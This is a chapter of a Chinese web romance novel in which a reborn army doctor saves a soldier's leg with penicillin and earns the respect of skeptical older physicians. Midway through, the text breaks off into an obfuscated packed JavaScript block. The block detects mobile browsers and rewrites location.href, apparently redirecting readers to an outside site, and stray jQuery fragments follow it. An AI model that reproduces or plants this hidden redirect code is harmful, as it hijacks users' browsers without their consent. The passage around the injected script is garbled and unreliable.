第43章 青霉素显神威
作品:《重生之少帅的掌心娇医》 沈晚清是在一阵低沉而有节奏的军号声中醒来的。
她动了动手指,只觉得浑身像是被卡车碾过一样酸痛,尤其是那双拿着手术刀十个小时的手,几乎有些不听使唤。
“醒了?”
一个低沉悦耳的声音在耳边响起。
沈晚清睁开眼,入目是军帐顶部的墨绿色帆布。她侧过头,发现自己正躺在一张宽大的行军床上,身上盖着厚厚的狐裘。
陆淮锦就坐在床边,手里拿着一份军报,见她醒来,随手将文件扔在一旁,伸手探了探她的额头。
“烧退了。”
他的声音里透着一丝不易察觉的放松,但眉头依然紧锁,“你这一觉睡了两天两夜。要是再不醒,我就要把那个赵老头拉出去毙了。”
“两天两夜?”
沈晚清猛地坐起来,却因为起得太猛眼前一黑。
“二牛呢?那个做了接骨手术的兵,怎么样了?”她顾不上头晕,一把抓住陆淮锦的袖子,焦急地问道。
那个手术虽然成功了,但术后的感染期才是真正的鬼门关。在这个年代,哪怕是手术完美,也有无数人死于术后并发症。
陆淮锦的脸色沉了下来。
“情况不太好。”
他扶住沈晚清的肩膀,沉声道,“昨天夜里开始高烧,刚才赵处长派人来报,说是……那是败血症的前兆,如果不马上截肢,人就没了。”
“什么?!”
沈晚清一把掀开被子,甚至顾不上穿鞋,赤着脚就往地上跳,“胡闹!那是术后吸收热和正常的免疫反应!青霉素的药效还在持续,这时候截肢就是前功尽弃!”
“穿鞋!”
陆淮锦一把将她捞回来,按在床上,单膝跪地,亲自握住她冰凉的脚,替她套上那双羊皮小靴,“急什么?有我在,没人敢动那个兵。”
“可是……”
“没有可是。”陆淮锦替她披上大衣,将她裹得严严实实,然后一把将她抱起,大步向帐外走去,“我带你去。但你得答应我,不许再逞强晕倒。”
……
临时改造的重症监护室。
此时,病房里的气氛压抑到了极点。
二牛躺在病床上,面色潮红,呼吸急促,浑身都在剧烈地抽搐。他的嘴里胡言乱语,显然已经烧糊涂了。
赵处长和王主任围在床边,急得团团转。
“不行了!这都烧了一天一夜了!”王主任看着体温计上的刻度,急得直拍大腿,“我就说不能留!那可是粉碎性骨折啊!里面的烂肉肯定发炎了!现在毒气攻心,再不锯腿,这娃的命就真保不住了!”
“可是……沈顾问说了,要观察三天……”旁边一个小护士怯生生地说道。
“三天?三天后只能给他收尸了!”赵处长也是一脸痛心疾首,“沈顾问毕竟年轻,太理想化了。咱们当医生的,得懂得取舍!准备手术,截肢!”
几个卫兵上前,就要把二牛抬上推车。
“我看谁敢动他!”
一声娇喝从门口传来。
众人回头,只见陆淮锦抱着沈晚清大步走了进来。
沈晚清挣扎着从他怀里下来,虽然脚步还有些虚浮,但那双眼睛里却燃烧着怒火。
“沈顾问!你可算来了!”
赵处长像是看到了救星,又像是找到了发泄口,迎上去说道,“你看看!这都烧成什么样了?事实证明,那个什么‘内固定’根本行不通!铁片在肉里,哪有不发炎的?赶紧截肢吧,或许还能保住一条命!”
“让开。”
沈晚清推开挡路的赵处长,径直走到病床前。
她伸手摸了摸二牛的额头,确实烫得吓人。但她并没有慌张,而是掀开了盖在伤腿上的被子。
所有的目光都集中在那条腿上。
按照常理,高烧至此,伤口肯定已经红肿溃烂,甚至流出恶臭的脓水。
然而——
并没有。
纱布虽然有些渗血,但那是正常的术后渗出。伤口周围的皮肤虽然有些红,但并没有那种代表坏死性感染的紫黑色,也没有闻到那种令人闻之色变的气性坏疽的腐臭味。
“拿剪刀来。”沈晚清冷静地命令道。
小护士赶紧递上剪刀。
沈晚清小心翼翼地剪开了层层包裹的纱布,露出了那道长长的、像蜈蚣一样的缝合伤口。
“嘶——”
周围响起了一片吸气声。
不是因为恐怖,而是因为……太干净了。
伤口边缘整齐,没有红肿,没有化脓,甚至在缝合线的间隙里,已经隐隐能看到一丝粉红色的肉芽组织在生长。
这是愈合良好的征兆!
“这……这怎么可能?!”
王主任瞪大了眼睛,恨不得把眼珠子贴上去看,“烧成这样,伤口居然没化脓?里面的骨头呢?没烂吗?”
“骨头在里面长得好好的。”
沈晚清从药箱里拿出听诊器,听了听二牛的心肺,又检查了一下他的瞳孔。
“这是典型的术后吸收热,加上身体在对抗残留细菌时的免疫反应。”
沈晚清直起腰,看向那一群目瞪口呆的老军医,声音虽然不大,却掷地有声:
“之所以高烧不退,是因为他体内的免疫系统正在和我的药一起,进行最后的‘大扫除’。就像两军对垒,战况最激烈的时候,动静自然最大。”
“但这仗,我们已经赢了。”
她拿起桌上那瓶还没用完的金黄色药液,举到众人面前:
“这就是这种药的神奇之处。它能在不伤害人体细胞的情况下,精准地杀死细菌。只要伤口不化脓,这烧,最多再过两个小时就会退。”
“两小时?”赵处长将信将疑,“沈顾问,军中无戏言。要是两小时后还不退……”
“我把脑袋输给你。”
陆淮锦突然开口。
他站在沈晚清身后,像是一座不可撼动的山。他环视四周,目光冷冽:
“我信她。就像信我手里的枪。”
全场死寂。
既然少帅都发话了,谁还敢说个“不”字?
接下来的两个小时,对于军医处的每个人来说,都是一种煎熬。
赵处长不停地看怀表,王主任则死死盯着体温计。
只有沈晚清,搬了把椅子坐在床边,时不时给二牛喂一点温水,神色平静得像是在看风景。
时间一分一秒地流逝。
终于,当时针指向下午三点的时候。
原本躁动不安、胡言乱语的二牛,突然安静了下来。
他那张涨红的脸,慢慢恢复了正常的颜色。呼吸也从急促变得平稳深长。
“出汗了!出汗了!”
一直守在旁边的小护士惊喜地叫道。
只见二牛的额头上、脖颈上,沁出了一层细密的汗珠。
这是退烧最明显的标志!
王主任一把抢过体温计,塞进二牛的腋下。五分钟后,他拿出体温计,对着光看了半天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935531|192885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,手开始剧烈地颤抖。
“三十七度五……”
王主任的声音都在发飘,“退……退了?真的退了?!”
“神迹……这是神迹啊!”
赵处长看着那条保住的腿,又看了看那瓶金黄色的药水,老泪纵横。他行医四十年,从未见过如此霸道的疗效。以前遇到这种伤,不是死就是残,可今天,在这个年轻女子的手下,竟然真的逆天改命了!
“沈顾问!”
赵处长突然转过身,对着沈晚清深深地鞠了一躬,态度诚恳到了极点,“老朽……服了!心服口服!之前多有得罪,您大人不记小人过!从今往后,军医处唯您马首是瞻!”
“对!唯沈顾问马首是瞻!”
其他的军医们也纷纷低下了高傲的头颅。在绝对的技术和事实面前,所有的资历和偏见都成了笑话。
沈晚清站起身,并没有露出得意的神色。
“赵处长言重了。”
她扶起赵处长,语气谦逊,“大家都是为了救人。这药虽然好,但也不是万能的。以后还要仰仗各位前辈的经验,咱们一起,把这军医处撑起来。”
这一番话,既给了老家伙们面子,又确立了自己的领导地位。
赵处长感动得眼圈都红了,直呼“惭愧”。
病床上,二牛缓缓睁开了眼睛。
他看到了围在床边的人,看到了自己的腿还在,更看到了那个站在少帅身边、如同观音菩萨一般的女大夫。
“俺的腿……还在?”二牛不敢置信地摸了摸。
“还在。”沈晚清微笑着看着他,“好好养着,过两个月就能下地。以后还能跟着你们少帅打鬼子。”
“呜呜呜……谢谢活菩萨!谢谢活菩萨啊!”
二牛嚎啕大哭,想要下床磕头,却被按住了。
这个消息,像风一样传遍了整个军营。
原本那些还在私底下议论“女人进军营晦气”的士兵们,彻底炸锅了。
“听说了吗?那个二牛的烂腿真的保住了!”“神医啊!真的是神医!”“那个什么‘黄金水’简直是神药!咱们以后受伤也不怕了!”
一种前所未有的狂热崇拜,在陆家军中蔓延开来。
沈晚清不再是那个靠着少帅上位的“花瓶”,而是所有士兵眼中的“救命稻草”,是行走在军营里的“活菩萨”。
陆淮锦看着被众星捧月的沈晚清。
他应该高兴的。他的眼光没错,她确实是块无价之宝。
但他此刻的心里,却莫名地泛起了一股酸味。
尤其是看到那个二牛抓着沈晚清的袖子哭得一把鼻涕一把泪,还喊着“要给恩人当牛做马”的时候。
“行了。”
陆淮锦大步走上前,一把将沈晚清拉到身后,隔绝了二牛那感激涕零的目光。
“既然退烧了,就好好躺着。哭哭啼啼像什么样子!”
他冷着脸训斥了一句,然后转头看向沈晚清,语气有些生硬:
“你身体还没恢复,回营帐休息。”
沈晚清看着他那副别扭的样子,忍不住想笑。
这哪里是少帅,分明是个护食的小狼狗。
“好,听少帅的。”
她顺从地跟着他走出了病房。
夕阳西下,将两人的影子拉得很长。
军营里的欢呼声还在继续,但对于陆淮锦来说,那些都不重要。
重要的是,这个光芒万丈的女人,是他的。
只能是他的。

